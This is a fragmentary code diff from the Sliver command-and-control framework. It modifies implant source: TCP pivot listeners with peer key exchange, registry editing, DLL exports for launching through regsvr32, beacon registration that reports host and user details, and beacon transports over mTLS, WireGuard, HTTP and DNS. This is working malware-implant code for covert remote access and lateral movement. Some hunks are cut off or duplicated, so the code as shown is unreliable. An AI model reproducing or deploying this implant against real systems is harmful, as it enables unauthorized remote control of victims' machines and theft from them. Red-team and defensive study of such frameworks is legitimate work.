conn net.Conn
readMutex *sync.Mutex
writeMutex *sync.Mutex
cipherCtx *cryptography.CipherContext
readDeadline time.Duration
writeDeadline time.Duration
upstream chan<- *pb.Envelope
Downstream chan *pb.Envelope
}
// DownstreamPeerID - ID of peer pivot
func (p *NetConnPivot) DownstreamPeerID() int64 {
return p.downstreamPeerID
// ID - ID of peer pivot
func (p *NetConnPivot) ID() int64 {
return p.id
}
// ToProtobuf - Protobuf of pivot peer
func (p *NetConnPivot) ToProtobuf() *pb.NetConnPivot {
return &pb.NetConnPivot{
PeerID: p.downstreamPeerID,
func (p *NetConnPivot) ToProtobuf() *pb.PivotPeer {
return &pb.PivotPeer{
ID: p.id,
RemoteAddress: p.RemoteAddress(),
}
}
// Start - Starts the TCP pivot connection handler
func (p *NetConnPivot) Start(pivots *sync.Map) {
defer func() {
p.conn.Close()
}()
defer p.conn.Close()
err := p.peerKeyExchange()
if err != nil {
return
}
// {{if .Config.Debug}}
log.Printf("[pivot] peer key exchange completed successfully with peer %d", p.downstreamPeerID)
log.Printf("[pivot] peer key exchange completed successfully")
// {{end}}
// We don't want to register the peer prior to the key exchange
// Add & remove self from listener pivots map
pivots.Store(p.DownstreamPeerID(), p)
defer pivots.Delete(p.DownstreamPeerID())
pivots.Store(p.ID(), p)
defer pivots.Delete(p.ID())
go func() {
defer close(p.Downstream)
@@ -337,30 +246,22 @@ func (p *NetConnPivot) Start(pivots *sync.Map) {
Type: pb.MsgPivotPeerPing,
Data: envelope.Data,
}
} else if envelope.Type == pb.MsgPivotPeerEnvelope {
} else {
// {{if .Config.Debug}}
log.Printf("[pivot] received peer envelope, upstreaming (%d) ...", envelope.Type)
// {{end}}
peerEnvelope := &pb.PivotPeerEnvelope{}
err := proto.Unmarshal(envelope.Data, peerEnvelope)
if err != nil {
// {{if .Config.Debug}}
log.Printf("[pivot] error un-marshalling peer envelope: %s", err)
// {{end}}
continue
}
// Append ourselves to the list of peers, and then upstream
peerEnvelope.Peers = append(peerEnvelope.Peers, &pb.PivotPeer{
PeerID: MyPeerID,
Name: consts.SliverName,
envelopeData, _ := proto.Marshal(envelope)
data, _ := proto.Marshal(&pb.PivotPeerEnvelope{
PeerID: PeerID, // This proccess' Peer ID
PivotID: p.ID(), // The Pivot connection ID
Name: consts.SliverName,
Data: envelopeData,
})
envelope.Data, _ = proto.Marshal(peerEnvelope)
p.upstream <- envelope
} else {
// {{if .Config.Debug}}
log.Printf("[pivot] received unknown message type (%d), dropping ...", envelope.Type)
// {{end}}
continue
p.upstream <- &pb.Envelope{
ID: 0, // Pivot server implementation uses handlers, so ID must be zero
Type: pb.MsgPivotPeerEnvelope,
Data: data,
}
}
}
}()
@@ -368,15 +269,6 @@ func (p *NetConnPivot) Start(pivots *sync.Map) {
for envelope := range p.Downstream {
err := p.writeEnvelope(envelope)
if err != nil {
if p.downstreamPeerID != 0 {
p.upstream <- &pb.Envelope{
Type: pb.MsgPivotPeerFailure,
Data: mustMarshal(&pb.PivotPeerFailure{
Type: pb.PeerFailureType_DISCONNECT,
PeerID: p.downstreamPeerID,
}),
}
}
return
}
}
@@ -409,7 +301,6 @@ func (p *NetConnPivot) peerKeyExchange() error {
// {{end}}
return ErrFailedKeyExchange
}
p.downstreamPeerID = peerHello.PeerID
sessionKey := cryptography.RandomKey()
p.cipherCtx = cryptography.NewCipherContext(sessionKey)
ciphertext, err := cryptography.ECCEncryptToPeer(peerHello.PublicKey, peerHello.PublicKeySignature, sessionKey[:])
@@ -570,8 +461,3 @@ func (p *NetConnPivot) RemoteAddress() string {
func (p *NetConnPivot) Close() error {
return p.conn.Close()
}
func mustMarshal(msg proto.Message) []byte {
data, _ := proto.Marshal(msg)
return data
}
+2 -2
View File
@@ -24,6 +24,6 @@ import (
pb "github.com/bishopfox/sliver/protobuf/sliverpb"
)
var SupportedPivotListeners = map[pb.PivotType]CreateListener{
pb.PivotType_TCP: CreateTCPPivotListener,
var SupportedPivotListeners = map[pb.PivotType]StartListener{
pb.PivotType_TCP: StartTCPPivotListener,
}
+3 -3
View File
@@ -22,7 +22,7 @@ import (
pb "github.com/bishopfox/sliver/protobuf/sliverpb"
)
var SupportedPivotListeners = map[pb.PivotType]CreateListener{
pb.PivotType_TCP: CreateTCPPivotListener,
pb.PivotType_NamedPipe: CreateNamedPipePivotListener,
var SupportedPivotListeners = map[pb.PivotType]StartListener{
pb.PivotType_TCP: StartTCPPivotListener,
pb.PivotType_NamedPipe: StartNamedPipePivotListener,
}
+33 -8
View File
@@ -35,8 +35,8 @@ var (
tcpPivotWriteDeadline = 10 * time.Second
)
// CreateTCPPivotListener - Start a TCP listener
func CreateTCPPivotListener(address string, upstream chan<- *pb.Envelope) (*PivotListener, error) {
// StartTCPPivotListener - Start a TCP listener
func StartTCPPivotListener(address string, upstream chan<- *pb.Envelope) (*PivotListener, error) {
// {{if .Config.Debug}}
log.Printf("Starting TCP pivot listener on %s", address)
// {{end}}
@@ -48,12 +48,37 @@ func CreateTCPPivotListener(address string, upstream chan<- *pb.Envelope) (*Pivo
return nil, err
}
pivotListener := &PivotListener{
ID: ListenerID(),
Type: pb.PivotType_TCP,
Listener: ln,
PivotConnections: &sync.Map{},
BindAddress: address,
Upstream: upstream,
ID: ListenerID(),
Type: pb.PivotType_TCP,
Listener: ln,
Pivots: &sync.Map{},
BindAddress: address,
Upstream: upstream,
}
go tcpPivotAcceptNewConnections(pivotListener)
return pivotListener, nil
}
func tcpPivotAcceptNewConnections(pivotListener *PivotListener) {
for {
conn, err := pivotListener.Listener.Accept()
if err != nil {
// {{if .Config.Debug}}
log.Printf("[tcp-pivot] listener stopping: %s", err)
// {{end}}
return
}
// handle connection like any other net.Conn
pivotConn := &NetConnPivot{
id: PivotID(),
conn: conn,
readMutex: &sync.Mutex{},
writeMutex: &sync.Mutex{},
readDeadline: tcpPivotReadDeadline,
writeDeadline: tcpPivotWriteDeadline,
upstream: pivotListener.Upstream,
Downstream: make(chan *pb.Envelope),
}
go pivotConn.Start(pivotListener.Pivots)
}
}
@@ -127,26 +127,6 @@ func WriteKey(hostname string, hive string, path string, key string, value inter
return err
}
// DeleteKey removes an existing key or value.
// Removing a value takes precident over removing a key.
// If neither exists, an error is returned.
func DeleteKey(hostname string, hive string, path string, key string) error {
k, err := openKey(hostname, hive, path, registry.SET_VALUE)
if err != nil {
// {{if .Config.Debug}}
log.Printf("could not open key %s: %s\n", path, err.Error())
// {{end}}
return err
}
err = k.DeleteValue(key)
if err != nil {
err = registry.DeleteKey(*k, key)
}
return err
}
// ListSubKeys returns all the subkeys for the provided path
func ListSubKeys(hostname string, hive string, path string) (results []string, err error) {
k, err := openKey(hostname, hive, path, registry.READ|registry.RESOURCE_LIST|registry.FULL_RESOURCE_DESCRIPTOR)
+24 -28
View File
@@ -18,7 +18,7 @@ package main
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
// {{if or .Config.IsSharedLib }}
// {{if or .Config.IsSharedLib .Config.IsShellcode}}
//#include "sliver.h"
import "C"
@@ -52,7 +52,6 @@ import (
"github.com/bishopfox/sliver/implant/sliver/handlers"
"github.com/bishopfox/sliver/implant/sliver/hostuuid"
"github.com/bishopfox/sliver/implant/sliver/limits"
"github.com/bishopfox/sliver/implant/sliver/pivots"
"github.com/bishopfox/sliver/implant/sliver/transports"
"github.com/bishopfox/sliver/implant/sliver/version"
"github.com/bishopfox/sliver/protobuf/sliverpb"
@@ -81,10 +80,11 @@ var (
func init() {
buf := make([]byte, 8)
n, err := rand.Read(buf)
if err != nil || n != len(buf) {
binary.LittleEndian.PutUint64(buf, uint64(time.Now().Unix()))
seed := uint64(time.Now().Unix())
if err == nil && n == len(buf) {
binary.LittleEndian.PutUint64(buf, uint64(seed))
}
insecureRand.Seed(int64(binary.LittleEndian.Uint64(buf)))
insecureRand.Seed(int64(seed))
id, err := uuid.NewV4()
if err != nil {
@@ -169,12 +169,12 @@ func DllInstall() { main() }
// DllRegisterServer - is used when executing the Sliver implant with regsvr32.exe (i.e. regsvr32.exe /s sliver.dll)
// https://msdn.microsoft.com/en-us/library/windows/desktop/ms682162(v=vs.85).aspx
//export DllRegisterServer
// export DllRegisterServer
func DllRegisterServer() { main() }
// DllUnregisterServer - is used when executing the Sliver implant with regsvr32.exe (i.e. regsvr32.exe /s /u sliver.dll)
// https://msdn.microsoft.com/en-us/library/windows/desktop/ms691457(v=vs.85).aspx
//export DllUnregisterServer
// export DllUnregisterServer
func DllUnregisterServer() { main() }
// {{end}}
@@ -295,8 +295,8 @@ func beaconMainLoop(beacon *transports.Beacon) error {
// {{end}}
nextCheckin := time.Now().Add(beacon.Duration())
register := registerSliver()
register.ActiveC2 = beacon.ActiveC2
register.ProxyURL = beacon.ProxyURL
register.ActiveC2 = beacon.URL()
register.ProxyURL = beacon.ProxyURL()
beacon.Send(wrapEnvelope(sliverpb.MsgBeaconRegister, &sliverpb.BeaconRegister{
ID: InstanceID,
Interval: beacon.Interval(),
@@ -527,10 +527,7 @@ func sessionMainLoop(connection *transports.Connection) error {
// {{end}}
return nil
}
pivots.RestartAllListeners(connection.Send)
defer pivots.StopAllListeners()
defer connection.Stop()
connectionErrors = 0
// Reconnect active pivots
// pivots.ReconnectActivePivots(connection)
@@ -592,8 +589,6 @@ func sessionMainLoop(connection *transports.Connection) error {
log.Printf("[recv] tunHandler %d", envelope.Type)
// {{end}}
go handler(envelope, connection)
} else if envelope.Type == sliverpb.MsgCloseSession {
return nil
} else {
// {{if .Config.Debug}}
log.Printf("[recv] unknown envelope type %d", envelope.Type)
@@ -623,7 +618,7 @@ func wrapEnvelope(msgType uint32, message protoreflect.ProtoMessage) *sliverpb.E
}
}
// registerSliver - Creates a registration protobuf message
// registerSliver - Creates a registartion protobuf message
func registerSliver() *sliverpb.Register {
hostname, err := os.Hostname()
if err != nil {
@@ -665,19 +660,20 @@ func registerSliver() *sliverpb.Register {
// {{end}}
return &sliverpb.Register{
Name: consts.SliverName,
Hostname: hostname,
Uuid: uuid,
Username: currentUser.Username,
Uid: currentUser.Uid,
Gid: currentUser.Gid,
Os: runtime.GOOS,
Version: version.GetVersion(),
Arch: runtime.GOARCH,
Pid: int32(os.Getpid()),
Filename: filename,
Name: consts.SliverName,
Hostname: hostname,
Uuid: uuid,
Username: currentUser.Username,
Uid: currentUser.Uid,
Gid: currentUser.Gid,
Os: runtime.GOOS,
Version: version.GetVersion(),
Arch: runtime.GOARCH,
Pid: int32(os.Getpid()),
Filename: filename,
// ActiveC2: transports.GetActiveC2(),
ReconnectInterval: int64(transports.GetReconnectInterval()),
ConfigID: "{{ .Config.ID }}",
PeerID: pivots.MyPeerID,
// ProxyURL: transports.GetProxyURL(),
ConfigID: "{{ .Config.ID }}",
}
}
+19 -8
View File
@@ -80,8 +80,24 @@ type Beacon struct {
Close BeaconClose
Cleanup BeaconCleanup
ActiveC2 string
ProxyURL string
url *url.URL
proxyURL *url.URL
}
// URL - Returns the c2 URL of the beacon
func (b *Beacon) URL() string {
if b.url == nil {
return ""
}
return b.url.String()
}
// ProxyURL - Returns the c2 URL of the beacon
func (b *Beacon) ProxyURL() string {
if b.proxyURL == nil {
return ""
}
return b.url.String()
}
// Interval - Interval between beacons
@@ -199,7 +215,6 @@ func mtlsBeacon(uri *url.URL) *Beacon {
var conn *tls.Conn
beacon := &Beacon{
ActiveC2: uri.String(),
Init: func() error {
return nil
},
@@ -247,7 +262,6 @@ func wgBeacon(uri *url.URL) *Beacon {
var conn net.Conn
var dev *device.Device
beacon := &Beacon{
ActiveC2: uri.String(),
Init: func() error {
return nil
},
@@ -303,11 +317,9 @@ func httpBeacon(uri *url.URL) *Beacon {
var client *httpclient.SliverHTTPClient
var err error
opts := httpclient.ParseHTTPOptions(uri)
beacon := &Beacon{
ActiveC2: uri.String(),
ProxyURL: opts.ProxyConfig,
Init: func() error {
opts := httpclient.ParseHTTPOptions(uri)
client, err = httpclient.HTTPStartSession(uri.Host, uri.Path, opts)
if err != nil {
// {{if .Config.Debug}}
@@ -344,7 +356,6 @@ func dnsBeacon(uri *url.URL) *Beacon {
var client *dnsclient.SliverDNSClient
var err error
beacon := &Beacon{
ActiveC2: uri.String(),
Init: func() error {
opts := dnsclient.ParseDNSOptions(uri)
client, err = dnsclient.DNSStartSession(uri.Host, opts)
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